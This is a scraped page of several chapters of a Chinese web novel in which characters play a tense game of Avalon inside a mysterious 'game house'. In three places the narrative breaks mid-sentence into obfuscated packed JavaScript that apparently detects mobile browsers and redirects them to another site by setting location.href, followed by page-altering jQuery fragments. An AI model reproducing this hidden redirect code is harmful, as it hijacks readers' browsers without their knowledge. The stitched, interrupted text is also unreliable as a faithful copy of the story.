詹姆斯……也死了吧…… 骆桑没吱声,只轻轻点了个头。 小个子吸了下鼻子,不想再去谈论那些人,说:“你都在的话,那王之栋多半也在啰。” “嗯。”骆桑点头,“我想是的。” 小个子:“那他倒霉了,没跟你一边。” “啊呵……”骆桑干笑,“承蒙看得起我。” “倒也不一定。”小个子又说,“规则里根本就没说输了会怎么惩罚,说不定屁事没有。” 的确没说,进游戏屋之前就只说了获胜会有奖励,没说失败会怎么处置。刚才公布的游戏规则也没说输赢对应什么奖惩。 “是啊,没被威胁输了就要去死,可真是大发慈悲。”骆桑两手一摊,话语轻松,“我都没有紧张感了。” “那你也得好好玩!”小个子却很紧张,“别跟我说跟你一边都赢不了!” 嚯,这么想赢? 骆桑挑了下眉毛:“诶,游戏屋给你什么奖赏?” “……” “多管闲事。”小个子却不说。 游戏屋把人弄进来,应该都是画了饼的吧,骆桑觉得这饼很香啊,小个子那里的肯定也不会差。 看这样子,哪里是不会差,是香得很吧~ 被骆桑用奇怪的眼神睨着,小个子浑身不自在,抿了抿嘴,赶紧把话题往正题上引:“时间不多,还不快说正事。我是刺客,我要怎么打?” 骆桑却不着急,还就那么睨着她。 小个子:“喂,你不好好带我,被坑输了可别赖我!” 可真是好大一口锅,这年头的小姑娘,抱大腿也这么理直气壮? “我们当然还是尽量不要输啰,有人输了,可能就知道有没有惩罚了。” 确实是时间不多,骆桑投降,回归正经,“小妹妹,告诉我你的号码,我来告诉你,这盘怎么打。” * 十分钟的商量时间转眼就过去,两人聊得差不多,便朝门口走。 在门口的感应区,机械声响了:【确定商量结束,红方阵营成员请回到自己的房间。】 “小妹妹加油。”骆桑丢下一句话,伸手要去开门。 “你为什么还叫我小妹妹?”小个子问,“不是说了可以叫我烂烂吗?” 骆桑转回身。 她一身淑女风白裙,长发顺滑地披在肩背上,怎一副温婉柔弱女子的形象,却干巴巴丢下这么几个字: “算了,听着蛋疼。” 小个子:“……” 18.游戏屋·阿瓦隆一2 骆桑回到自己房间后,等待稍许,机械声响起: 【发言做任务环节开始,各位玩家请在听到叫号后入场。】 【注意:从现在开始直到游戏结束,禁止自由发言,禁止对话,各位玩家需听从指示,在规定的发言时间内按照规定发言,其余时间发言一律视为违规。违规者将接受处罚。】 游戏屋里的游戏变得更正规了,也更加考验逻辑和技巧。 【下面,请1号玩家入场。】 看来是按照顺序一一进场。 这门隔音可真好,小个子抽到的就是1号,现在应该正在走廊行走吧,可半点声音都听不到。 一分钟后,【请2号玩家入场。】 然后是3号玩家,直到听到广播4号玩家入场,骆桑才走出房间。 走廊上出现新的白色箭头,指向走廊的尽头。 跟随箭头走完走廊,前面是一扇大门,推开后,一间精心布置的游戏室映入眼帘。 游戏室是一个圆形的大厅,正中央摆着一张大圆桌,围绕大圆桌均匀摆开的是6把椅子。桌椅都呈棕红色,造型精致,颇有中世纪宫廷风,俨然亚瑟王的圆桌骑士商议事务的地方。而周围360度的墙上贴满壁画:小岛、湖水、浓雾、帆船,还有一把剑和一只圣杯,将阿瓦隆故事中的元素一一呈现。 要不是之前整的那通幺蛾子,骆桑真要以为这是某家用心布置,给玩家强烈代入感的桌游吧。 大圆桌上的6个位置,都用罗马数字写着编号,人少,每个位置之间都空出挺大距离。 骆桑进场时,1、2、3号位上已有人入座,她一边往里走一边观察。 1号位上坐着小个子。 2号位上也是个女生,头发烫着大波浪卷。 3号位上则是个黑人男性,纯种的非洲黑,关上灯就能看到牙齿那种。 这国际化的风格也延伸到了游戏屋啊~ 骆桑观察那两个陌生人的同时,两个陌生人也在观察她。他们神色专注,但不慌张,安安静静地等待着。没有任何一个人有要违规出声的迹象,大概都不是第一次来这里,早熟悉规则。 骆桑落座后,没一会儿,5号玩家来了。 呵,果不其然,这人是王之栋。 王之栋看到骆桑和小个子时明显惊讶,似乎有千言万语想要倾诉,但又碍于游戏规则半个字都不能吐,一副有苦说不出的样子。 话说回来,王之栋说他是为了救落水的妻子而淹死的,要是突然回到现实,不会是还泡在水里吧?现在倒是穿得人模人样。 不知道游戏结束后有没有机会聊一聊。 王之栋到后,就剩最后的6号玩家了。 5人等了一会儿,6号玩家才姗姗入场。 这是个高个子的年轻男人,身形微瘦,身上挂着件宽大随意的黑T,配上一副方形黑框眼镜,显得特别低调。他一路走进来,也不观察在场的5人,好像不甚在意,步伐更是轻盈,在如此安静的环境里都不容易注意到他的脚步声。 要不是这单独入场的环节设置,这人混到人群堆里怕是会直接隐身掉。 6号入座后,游戏室的大门自动合上,天花板上的喇叭也发出了机械声: 【玩家集齐,现在公布组队流程。】 【每次组队,由队长先提出预备人选,然后从队长的后置位开始顺时针发言,每人限时三分钟,队长最后发言并提出确定人选,开始投票。】 【现在开始第1轮组队,由1号玩家担任队长。】 【1号玩家,请在30秒内提出你的2人组预备人选。】 流程有些小变动,小个子不是很理解,但30秒时间很短,来不及细细琢磨,只能先照着套路报个人选。 “预备人选,1号和2号。” 机械声:【1号玩家的预备人选为1号和2号。】 【请2号玩家开始发言。】 2号大波浪卷摸着她的头发,噘了下嘴,似有些犹豫:“第一个发言没有信息呀,1号选我……emm……也不知道1号是不是好人。” 话说得扭扭捏捏的。 全场都在看着她,骆桑和小个子也混在其中。 大波浪卷:“反正我是好人,带我我当然不会拒绝,不过也要看派跳不跳,如果派跳了,又没有对跳的话,1号带派我会更支持。” “过。” 【请3号玩家开始发言。】 “2号发言怎么怪怪的。”小黑哥皱着他不大明显的眉毛,怀疑地看着2号,“自己是好人就让1号带呗,炸了怼就完了,还怕上车?” 听这发言,明显是个熟手。 《阿瓦隆》游戏里,大家喜欢把组队说成上车,做任务说成发车,任务成功说成开绿了,任务被破坏说成车炸了。 “1号你要是信不过2号可以带我3,我绝对是好人。” 小黑哥给小个子送去一个wink,还比划手势,肢体语言挺丰富。 小个子直接一个白眼还回去,转过脸不搭理。 小黑哥全不在意,还笑:“带我吧小妹妹,我会投票的。” “先过。” 【请4号玩家开始发言。】 “2号是怪。”骆桑马上接下3号的口风,“1、2不是常规车吗,都没开出去有什么好质疑的,就有种在给一会儿炸车做铺垫的感觉。” 被怼了,2号大波浪卷也不看过来,半垂着眼盯着自己位置上的号码牌。 倒是3号小黑哥一个劲点头,看那样子就要“哟,哟”地rap出来了。 “我是好人,但不是派,2和3都没跳派,那看后面3个有没有人跳派吧。” 骆桑也不继续猛捶2,一上来就捶得太过火也太招眼,见好就收合适。 “2让1带派,倒是行,4、5中如果有人跳派,又没有对跳的话,1是可以带派。” “另外3号状态看起来很轻松嘛,暂且觉得不像红。” 她朝小黑哥笑了下,小黑哥很开心地回了她一口白牙。 “1号带我的话我肯定投票,带其他人的话,我要再听听后面3个的发言,看情况投不投票,过。” 【请5号玩家开始发言。】 “呃……”王之栋开口时犹豫了下,他双肘拄在桌面上,右手手掌包裹着左拳,搓了一圈。 “我是好人。” 最后他磨出这么几个字。 开头有点卡,但王之栋本身是个健谈的,很快便恢复了状态。 “很抱歉,我是个新手,2、3、4确实都听不出来谁好谁坏,唯独也就觉得 3还可以。就是……像4号说的那样,状态看起来很轻松。” 挺3的理由直接借用了4的,却不说觉得4好。 骆桑在小本本上悄悄记上一笔,5号有点东西啊。 “1、2组队行吧,我同意,先试试嘛,要是出了反对再盘,问题不大。” 嚯,口气蛮笃定,而且连自荐都不自荐下。 “那我先过。” 【请6号玩家开始发言。】 除了身形高挑,的确是占走了有那么大的空间,6号是真没啥存在感。他一直十分静默地坐在位置上,靠着椅背,双手交叉放在腿上,保持着一个姿势几乎一动不动。对别人的发言似乎也兴趣不大,从不转头去观察,仿佛游离在这对局之外。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678695|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但他的缺乏存在感,又和之前遇到的丽莎不一样。丽莎是那种内向卑微,与人接触有一定心理负担的类型,但6号不是这种感觉,他看上去很享受这种接近透明的状态,悠然自得,似乎这才是他的舒适区。 “我是忠臣。”等了片刻,6号姗姗开口,不同于前面的人都报自己是好人,他直接报了个身份:忠臣。 他的音色偏秀气,音量也不大,周围如果吵闹一点恐怕就听不清了。 所以,5号6号都没有跳派。 这盘游戏里,派西维尔依然选择了隐藏。 “1带我可以,带2也不反对。” “没有视角,发言暂时听不出来,不做评价,不炸不盘。” “过。” 6号说话始终保持着同一个音调,没有起伏,不快不慢。 而且,惜字如金。 【请1号玩家开始发言。】 “没人跳派啊?”小个子巡视一圈,“我不是啊。” “那看来这派挺会玩啰。” 她想起了在阿瓦隆的那场对局,骆桑就是没跳派才成功替梅林挡刀的,所以这局的派也不跳,就肯定是会玩的啰。 “我忠臣啊,啥也不知道,第一轮也听不出来啥,大家的发言都中规中矩,连个偏向性都听不出来。” 她故作样子又瞅了一圈,用无奈的口气说,“嗨,那就还是组1、2啰,没啥好改的,大家看行吗?” 这会儿没人能发言回答她了,光看表情,倒不像有人有意见。 “那就这么定了,发言过。” 【请1号玩家在30秒内提出你的2人组确定人选。】机械声应时响起。 小个子:“1、2。” 【1号玩家组队1号和2号,请各位玩家在30秒内完成投票,弃票视为不同意。】 音落,每个人的位置所对应的桌面上出现了一个凹槽,从凹槽里升起一个小小的投票机。 投票机上显示两个按钮:[同意]和[不同意],两侧都有隔板,旁人无法看到己方操作。 骆桑按了[同意]。 大多数玩家也很快投票,2号稍慢,最后一个投。 30秒后,机械声公布投票结果。 【同意的玩家有:1号,2号,3号,4号,5号和6号。】 【没有不同意的玩家。】 【组队通过,开始做任务。】 全票通过,第一轮组队的常见情况。 6个投票机降到桌面以下,随后游戏室最靠里的位置升起来一个小平台。 【请1号玩家离开座位,到任务台完成任务选项。】 小个子听从指挥,走到小平台处。 小平台上也有隔板隔离视线,无法看到操作者的具体操作。只见小个子取了卡,又投了卡,然后便离开小平台返回座位坐好。 取到了什么卡,又投了什么卡,没人能看见。 【请2号玩家离开座位,到任务台完成任务选项。】 大波浪卷按照指示行动。 两人都执行完毕,所有人紧张地等待结果。 几秒钟后,机械声响起:【1票支持,1票反对,任务失败。】 全场气氛一沉,什么,一上来就炸?! 真是好家伙! 小个子摆着一张惊讶脸,两眼瞪圆盯着2号大波浪卷。 但大波浪卷对小个子的眼神攻击毫无还击兴趣。 【现在开始第2轮组队,由2号玩家担任队长。】 【2号玩家,请在30秒内报出你的3人组预备人选。】 几乎没有思考,大波浪卷直接报出三个数:“2、3、6。” 19.游戏屋·阿瓦隆一3 2、3、6…… 直接跳过了4和5。 【请3号玩家开始发言。】 第一轮发车就首炸,游戏一下从平缓的地面驶入陡峭的山坡,对抗的态势显现出来,刚开始的松弛烟消云散。 一切似乎这才真正拉开序幕。 “一上来就炸车,厉害了我的姐!”小黑哥还没从这首轮就炸中回过神来,目光在1号和2号之间来回,似要把她俩看清楚,“你俩谁炸的啊?” 小个子摆着张无辜脸,大波浪卷则双臂抱怀靠坐在椅子里,谁都不看。 暂时是分不出来。 “2、3、6……”小黑哥开始琢磨这轮的人选,“2肯定认1是匪没毛病,然后认4、5里开匪呗。” 他摸着满是胡茬的下巴,朝骆桑和王之栋看,“我倒是听不出来6比4、5好,单凭上一轮发言我觉得最流畅的是4。” “噢不过这不是唯一标准。”又找补一下。 “2带我我肯定乐意,但我要再听听看6的发言,更要1、2中分一分,到时候决定投不投票。” “过。” 【请4号玩家开始发言。】 “2打我是红的意思呗。”骆桑瞥了眼大波浪卷,大波浪卷却不看她。 2号的样子就挺高傲那种,一直以我为尊谁都不看。 “1和2这轮肯定要互打了,可惜我位置太靠前听不到她们的发言,不知道好不好判断。我的建议呢,这轮三人车1、2都别上,尽量在3、4、5、6里挑三个好人来开。” “我还是觉得3像好人,不如把2号的车先流掉,让3来带车。” 小黑哥很满意地冲骆桑点头。 “如果我没有判断错,3是好人,我是好人,那只需要在5、6里分辨一下就可以了。” “我听听5、6的发言吧,过。” 【请5号玩家开始发言。】 “emm……”王之栋又是开头卡,想了想,才说,“我觉得4号说的有道理。” 嘴上这么说,观察骆桑的表情依然很谨慎。 “2不带我,我肯定不满意。” “4说3好,我也觉得3好。” 他一边说一边想,好像是在给自己一条一条找理由,说一句停一下。 他又琢磨了会儿,好像得出了个什么结论,忽然坚定了,说:“可以,1、2分不出来的话就都别上车,我是好人,3、4、5这个组合可以试试。” 王之栋看向小黑哥似在征求意见,小黑哥冲他比了个大大的OK。 王之栋很满意:“行,先这样,过。” 【请6号玩家开始发言。】 “我不同意3、4、5。” 6号这回倒不温吞了,开门见山说出反对,只是口气依然温温和和。 他当然不能同意3、4、5,除非他认1、2双红,否则就是自认红。 “1、2不知道谁炸的,都不带我认可,但我是认了忠臣的,三人车必须有我。” 尽管存在感低,好像游离于游戏之外,但6号参与游戏的态度其实还蛮好的嘛,至少不是个纯水过的混子。 “3、4、5……不是很确定有没有红,我听不太出来……” 他皱了下眉,抬手扶了扶黑框眼镜的边框,有些纠结,“我再思考一下。” “过。” 【请1号玩家开始发言。】 “2是红,有2的车绝对不能发!” 小个子上来就义正词严,“我上轮就说了,我是忠臣,如果6号没有撒谎,我跟6就是场上唯二的那两个忠臣!” “这轮2带队绝对不能同意,再炸一车好人就要哏儿屁了!” “3是不是好人我不知道,但他要是带我1,我可以先认他是好人。这样的话,4、5、6里面就得出第二个红,目前没有听出来他们谁是2号的队友,但是没关系,我们先不发车就可以再听一轮。” “我们所有人都再听一轮发言,组出好人队伍的可能性一定更大!” 骆桑只想感叹,小个子真是进步神速,气场全开毫不示弱压得2很不好发言,而且她的状态还很正。 2号大波浪卷气得猛吹出一口气,贴到嘴边的头发都荡漾了一下。 果然,就她这暴脾气,让她炸比让她藏收益更大。 之前在红方聊天室,骆桑得知小个子是1号后,教她的第一件事就是: 1,如果有人跳派西维尔,就带派西维尔组队,因为派西维尔是明好人,带别人是不会被通过的,还会被怀疑。和派西维尔一同上2人车必须藏票装蓝,否则直接被活捉。 2,如果没有人跳派西维尔,那么就组常规车1、2。第一轮发常规车很可能全票通过,梅林即便知道车上有红也不敢直接反对。只要是全票通过,就直接炸车,和2号生死PK。 3,如果万一有好人不同意,但1、2常规车还是开成了,那就藏票,千万别把没投票的人做成铁蓝。 结果,没人跳派,1、2发车全票通过,于是小个子就炸车了。 挺好,这丫头恐怕聊上两轮身份牌就都是明的了,藏也藏不了多久,退一万步就算这波连2都辩不过,至少也已经贡献了一个炸。 “大家都记住啦,不能让2带车!过!” 【请2号玩家开始发言。】 “靠——!”大波浪卷简直想骂街,一双嫉恶如仇的眼睛刺向小个子,“你可真是大言不惭,自己炸的心里没点B数?” 好啰,这2号也不是个吃素的,大型撕B现场展开。 “我跟你们说,1号很会演,但她是红,再会演特么也是红!” “你们非要1、2都不上车,行啊,那我问你们,3、4、5、6里面你们找得出那个红吗?只要那个红再混进去又是炸车,到时候你们找得出是谁炸的吗?” 这通地图炮轰炸,让2号有了一种女王在教训臣民的架势。 骆桑边听边观察,两手合在一起,纤细的指尖轻轻摩挲。 “我再给你们盘个逻辑,告诉你们1号为什么做不成好人。” “第一轮发言,6号上来就认了忠臣,已经占走了一个忠臣的坑,接着1号发言也跟着认忠臣,把忠臣的坑都填满了。这什么操作,是嫌梅林死得不够快吗?” “你们说,这能是一个好人心态发出的言?只有红方才会去抢忠臣的坑!” 场面甚是热闹,小个子气势十足,但是大波浪卷的逻辑聊得更满,听者会偏向谁,还真不好说。 不过能逼得大波浪卷这样聊,小个子这波炸车的收益就又增加了。 深吸两口气后,大波浪卷收了收气焰:“再说说我为什么带3、6,很简单,之前跟3、6一起玩过,算是熟人,我能大致判断他们的状态,觉得他们这把是好人。” “3拿匪的时候没有这么轻松,6拿匪的时候话会更多一些,算是参照了数据库吧。” “而4、5都没玩过,不知道,所以只能选熟悉的。” 原来另外三人都是认识的,玩过还不止一把。 那他们多半知道这游戏输家会受到什么惩罚吧?不可能三个人盘盘绑定好人团队还盘盘赢吧。要是游戏结束后能有自由交谈的机会,可得抓紧。 “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701226|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就开2、3、6。” “过。” 【请2号玩家在30秒内提出你的3人组确定人选。】 大波浪卷:“2、3、6。” 【2号玩家组队2号,3号和6号,请各位玩家在30秒内完成投票,弃票视为不同意。】 投票机升起,6人开始投票。 骆桑按了[不同意]。 其余人也很快投完票。 30秒后,机械声公布投票结果。 【同意的玩家有:2号和6号。】 【不同意的玩家有:1号,3号,4号和5号。】 【组队失败,本轮失败次数计1次。】 结果不出意料,没被选中的5号王之栋没投,连被选上的3号小黑哥都没投。 倒是6号同意了2号的车。 【现在开始第2轮第2次组队,由3号玩家担任队长。】 【3号玩家,请在30秒内报出你的3人组预备人选。】 小黑哥思索了几秒,报出三个数字:“3、4、5。” 【请4号玩家开始发言。】 第一个挺小黑哥是好人的就是骆桑,然后小黑哥就被带上了黑车。 这可得给人供好了~ “2、3、6这车肯定不可能同意啊,2怎么听都不像好人。” 骆桑先聊刚才的投票,“刚才1和2Battle,2说的逻辑很奇怪。她说6跳了忠臣,1就不能再跳忠臣了,理由是好人不该抢着占忠臣的坑不替梅林挡刀。这个理由本身没有问题,可为什么她认忠臣这个行为不好,却只打1不打6呢,还把6带上车?难道一局游戏里,第一个跳忠臣的就是忠臣,第二个跳忠臣的就是红?” 她摇摇头,“我理解不了。2这么盘我只能理解为,6是她的匪同伴。” 小黑哥哐哐点头,仿佛在说:对对对,俺也是这么想滴! 看来这也是他没投票的原因。 2号被小个子逼得很着急,于是聊得满也聊得炸。 另外,骆桑发现,她盘这些时,王之栋听得特别仔细,视线就没从她身上离开过。 “我认第一轮是2出的炸,但我不保1,因为暂时还不能打死6。” 骆桑继续,“6毕竟是被2带上车的,同意发车也无可厚非,他的发言暂时没有听出什么爆点,再听听。” “这轮3带3、4、5,那3肯定是好人了,很OK啊,5我之前也觉得像好人,再听一轮判断一下。” “这车我大概率会同意,应该能开绿吧。” “那先过了。” 【请5号玩家开始发言。】 “我也支持1、2都不上车。”王之栋说,“我听3、4都是好的,没觉得像匪,我自己是好人,那3、4、5肯定可以开起来。” “外头还有一个好人吧,不管是1、2中有一个,还是是6,都给我们投下票支持一下吧。” 王之栋在这盘阿瓦隆游戏里,和上一次的状态大有不同,上次他拿了梅林如履薄冰,话都不敢多说,这次就很有主意,发言很有主导性,3、4、5这个组合也是他第一个提出来的,现在还想号外置位那个好人的票。 骆桑觉得,她知道王之栋这局拿了什么牌了。 “4票通过是最理想的,等3、4、5开绿了,外置位投票的那个就是最后一个好人,等下开4人车就直接组好了。” “那就这样,3、4、5,过。” 【请6号玩家开始发言。】 仿佛回到上一轮发言,6号的开场白一字不差。 “我不同意3、4、5。” 20.游戏屋·阿瓦隆一4 6号嗓音低低的,很温和,说出来的话却生硬。 3号和5号都在观察他,但他并不回视,自顾自说。 “1号和2号打得很凶,这么凶应该不是刻意装的吧,是真打,那1号和2号就不可能共边,只出一个红。我是忠臣,那3、4、5里面一定还有一个红,开不绿的。” 他音调始终平静,不带情绪,话却说得斩钉截铁。 “而且刚才的票型很值得参考,2号要开2、3、6的车,同意的只有2、6,外置位没有人支持,不正说明这车上三个都是蓝吗?” 这6号很清醒啊,骆桑想,看来很难骗到他,或者他压根儿就是梅林,只能打他是匪了。 “这轮要是开了3、4、5,必输,还是得开2、3、6。” 他并没有朝着这轮的队长3号对话,只是自顾自阐述完意见,就喊了过。 【请1号玩家开始发言。】 “3、4、5……”小个子做思索状,“带我肯定是最好的,但你们实在要开3、4、5……也凑合吧,我可能会投票,因为6听着好像红啊,感觉就是2、6双红。” “4说得对呀,6先跳的忠臣我再跳的,凭什么6就是好人我就是匪,2号这完全是强盗逻辑,谁信啊?” 一副根本不鸟的样子。 “6号还说2、3、6没人投票就都是好人,什么歪理,好人看清局势不帮匪投票有毛病?匪里匪气。” 小个子又看向小黑哥:“3号你再说说你开3、4、5的理由,我听着靠谱的话,就投票了哦。” “过。” 【请2号玩家开始发言。】 大波浪卷之前还面色沉重,小个子发完言后倒是像逮到了她的小辫子,噗嗤一声笑出来。 “呵,听见没,1号说开3、4、5就投票,什么意思啊?” “不就是3、4、5里有她的匪同伴吗?” 小个子提前说要投票这一点的确不好,直接被2号抓着打。 她好像也反应过来了,愣了一下。 “3、4、5这个车绝对不能开的,开了好人直线输!” “3号,图塔多!” 大波浪卷转头盯着小黑哥,用一种命令的口吻对他说,“你别愚了,回回头吧,都给带沟里去了!就带2、3、6,不要改我的车,2、3、6发出去好人就赢了!” 原来这小黑哥名叫图塔多,2号急得把他的大名都喊出来了,指着自己的脑袋狠狠道:“3号,你就好好想想1号为什么要给你们3、4、5投票,用你脖子上长着的这个圆圆的东西好好想想!” 最后一句话简直是一字一句在灌,要是规则允许,2号恐怕要跳起来提着图塔多的耳朵往里灌了。 可图塔多努着嘴,像在吹口哨,显然这种威胁似的灌输在他那里并不奏效。 2号这人说话口气的确有些咄咄逼人,这种时候要想好人回头得好言相劝,得注意说话技巧,千万不能恶言相击,图塔多明显是个有反骨的,这么下命令可行不通。 “你不信邪是吧图塔多,好啊,我告诉你,这局要是输了,这锅你背定了!” “过。” 【请3号玩家开始发言。】 图塔多拧着他不显眼的眉毛,摸着脑袋上密密麻麻的小卷卷,露出标准的黑人苦笑脸:“不是,2号,你上什么情绪啊?你自己聊得奇怪,怎么认你啊?” “你说3、4、5里面必出匪,可这车是我带的,那你劝我干嘛啊,打我匪不得了!” “那不只能因为你自个儿是匪,知道我好人,所以才非得劝我的嘛。我状态太好了你打不动,也犯不着这样啊。” 图塔多的口型也是文不对版,甚至看不出说的是啥语言,但这个虚拟世界的翻译水平实在6得飞起,不看样子的话还以为一东北大爷来了呢。 2号大波浪卷听了简直要吐血,就差没直接骂黑鬼你就没脑子,要是换成小个子,这妥妥又是一个“大猪头!” “别跟我说你是梅林啊2号,你不可能是梅林。” 图塔多非常自信,“你刚才还说什么,6号拿匪的时候话更多?我仔仔细细回忆了之前跟6玩过的几局,没觉得呀,他拿什么牌话都一样多,哦不,是一样少。每次都一个样儿,我从来不能根据他的状态来推测他的身份。” “2号你的歪理实在太多了,你就是个红,就别再忽悠我了。” 这下大波浪卷直接连连翻白眼,表示这小黑已是烂泥扶不上墙,没有拯救的希望了。 那三人之间有一定熟悉度,但大波浪卷想挺6号,却没能说出让图塔多信服的理由。 骆桑没有6号的数据库,之前还以为2号说的是真的,以为他是拿了好人才这么淡定,这下真相大白,虽然少了一点关于6号的信息,却获得了一条更加珍贵的信息 ——明知这个理由唬不到熟人,2号为什么偏要这么说呢?那就只有一个原因,她想唬住的那个人,不是熟人。 图塔多:“2是匪的话,6大概率就是她同伴,那3、4、5的车妥当得很。” “还跟我扯输了背锅,切,你自个儿输了玩泥巴去吧,好人就输不了我跟你说。” “我就开3、4、5,过。” 【请3号玩家在30秒内提出你的3人组确定人选。】 图塔多:“3、4、5。” 【3号玩家组队3号,4号和5号,请各位玩家在30秒内完成投票,弃票视为不同意。】 骆桑自然投[同意]。 30秒后,机械声公布投票结果。 【同意的玩家有:1号,3号,4号和5号。】 【不同意的玩家有:2号和6号。】 【组队通过,开始做任务。】 小个子果断冲票了。 3号和5号在已经炸了一轮的情况下还积极开黑车,到此,已经可以肯定他们都不是梅林了,梅林只能在2号和6号里开。 【请3号玩家离开座位,到任务台完成任务选项。】 图塔多乐滋滋地去做任务,做完后一边打着响指一边回来。 【请4号玩家离开座位,到任务台完成任务选项。】 骆桑走到小平台前。 小平台上的吐卡处吐出两张卡片,一张是支持卡,一张是反对卡。卡牌回收处也有两个,上面的是投卡口,下面的是弃卡口。 没有犹豫,骆桑选了一张卡投进投卡口,剩下一张投进弃卡口,然后归位。 【请5号玩家离开座位,到任务台完成任务选项。】 王之栋的状态和图塔多不同,他没有图塔多十拿九稳的信心。刚才骆桑做任务时,他就在观察骆桑,现在轮到自己了,他走向任务台的步伐也有些踌躇。 他投了同意的,他支持发这个车,但他心里有怀疑。 三人都做完任务,便是紧张的等待时间。 小个子心头打着鼓,骆桑会炸车吗?她心头没数,手心捏了一把汗。 6号依旧波澜不惊,明知道局势正朝着坏的方向发展,却依旧淡定。 2号则提前摆出了一张嘲笑脸,准备着听到炸车的消息,就狠狠嘲笑那几个脑子瓦特了的好人。 几秒钟后,机械声响起:【3票支持,任务成功。】 …… 结果出来时,大波浪卷脸都绿了。 而那一刻,王之栋长长舒出来一口气,嘴边咧出笑意,好像心头的石头终于落了地。 图塔多扭了起来,脖子一伸一缩,得意洋洋地朝大波浪卷吹了声口哨。 小个子则埋头盘算。 只能这么选择,这车必不能炸,炸了,2和6就翻身了,而且一旦炸了,就成了1、2开一红,3、4、5开一红,6就成了外置位铁打不动的好人。 这一轮的蛰伏是必须的。 【现在开始第3轮组队,由4号玩家担任队长。】 【4号玩家,请在30秒内报出你的4人组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710799|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预备人选。】 1、3、4、5本是顺理成章,但骆桑故作纠结,托腮蹙眉,似很难做出决定,直到最后几秒钟才匆匆把这几个号码报出来:“1、3、4、5。” 【请5号玩家开始发言。】 “这不用想了吧,局势已经很明朗了。”王之栋不理解骆桑在纠结什么,他的状态在这一轮车开绿后明显轻松了许多,言语之间尽是轻快和笃定,“红方已经炸了一轮车了,没道理不接着炸,三人车有什么好藏的,对吧?所以3、4、5都是好人,我们只需要再找到外置位的那个好人就行了。” “如果认1、2中只出一个红,那6就是定匪,这轮就得在1、2中去分辨那个好人,我看……也没有太多悬念了吧,刚才那投票,也只能是1了。” 2号大波浪卷后槽牙都快咬碎,这轮车开绿了她是万万没想到。 王之栋:“1、3、4、5我同意。” “过。” 【请6号玩家开始发言。】 机械声播报后,却过了好一会儿都没声音,6号静坐在位置上,似乎没有再发言的欲望。 过了好一会儿,他才深深吸一口气,微微调整了下坐姿,淡淡道出一句:“3、4、5里的那个红藏票了,应该……是4吧。” “但你们不会相信的,好人已经输了。” “输了”两个字说得风轻云淡,好像输了就输了,也没什么关系。 但骆桑琢磨的是,他怎么就知道藏票的人是4,而不是3、5呢?他是梅林? “下个四人车必炸,没什么好发言的了,过。” 【请1号玩家开始发言。】 “因为红方两个人已经裸出来了,所以生无可恋了是吧,6号?” 小个子有些得意,“好人已经赢了呀,我就是第4个蓝,看票型嘛,显而易见。” “2、6的发言已经都不用听啦,咱们就痛痛快快发车,GoGoGo啦~” 神清气爽地。 “过。” 【请2号玩家开始发言。】 “呵呵呵……” 大波浪卷已经被气到发笑,有种懒得再给蠢人洗地的决绝,“好啊,我无所谓啊,反正好人方的那两头晕猪,一会儿记得好好分锅哦~” ……分锅? 这是大波浪卷第二次提到这样的字眼了。 输家……要分锅吗?难不成…… “我只能跟你们说,1号是匪,3、4、5开第二匪,6号是好人,信不信由你们,我懒得劝了。反正背锅轮不到我,我大不了白玩这一把。” 大波浪卷懒懒的,彻底改变了态度,变得事不关己。 挥挥手:“过。” 【请3号玩家开始发言。】 “这个就叫——摆烂,是不?2号,6号?” 图塔多咧出两排白牙,“我说6号,你要真是好人,好歹盘一盘1、2双匪嘛,非说4、5、6里有红藏票,这4、5、6怎么都比上过炸车的1强吧,这都不能盘?盘了你还有好人面的嘛。” “2号也是,这就拿背锅来威胁了?我看你跟6一起输了,一人一票这锅得一起背了吧。” ……一人一票? 还真有个什么背锅机制? “你们就这么摆了,那我们直接再绿辆车,你们根本找不到梅林的嘛,因为……哈哈哈哈——” 图塔多开心地笑起来,肩膀一耸两手一摊,“我也没有找到梅林!” 又伸缩几下脖子,挤眉弄眼地,“说不定俺就是哦~” “过过。” 【请4号玩家开始发言。】 从报预备人选开始,骆桑就一直摆着纠结的表情,并且在这些人发言时,越来越纠结。这会儿轮到她发言了,也不急着开口,胳膊拄在桌面上仍做托腮思索状。 “嘶……”倒吸一口长气,似情况不妙。 须臾,她总算磨出一句话来:“可能……1、3、4、5不行……” 21.游戏屋·阿瓦隆一5 这话一出,全场都惊了。 最吃惊的是小个子,她几乎要喊出来:骆桑你在干嘛?! “我一直在思考,到现在也没有想明白。” 骆桑皱着眉心,那苦恼的样子配上那一身人畜无害的白裙,真是极具欺骗性。 “3、4、5肯定是三个好人,问题就在最后一蓝……1、2、6三选一……emm……” 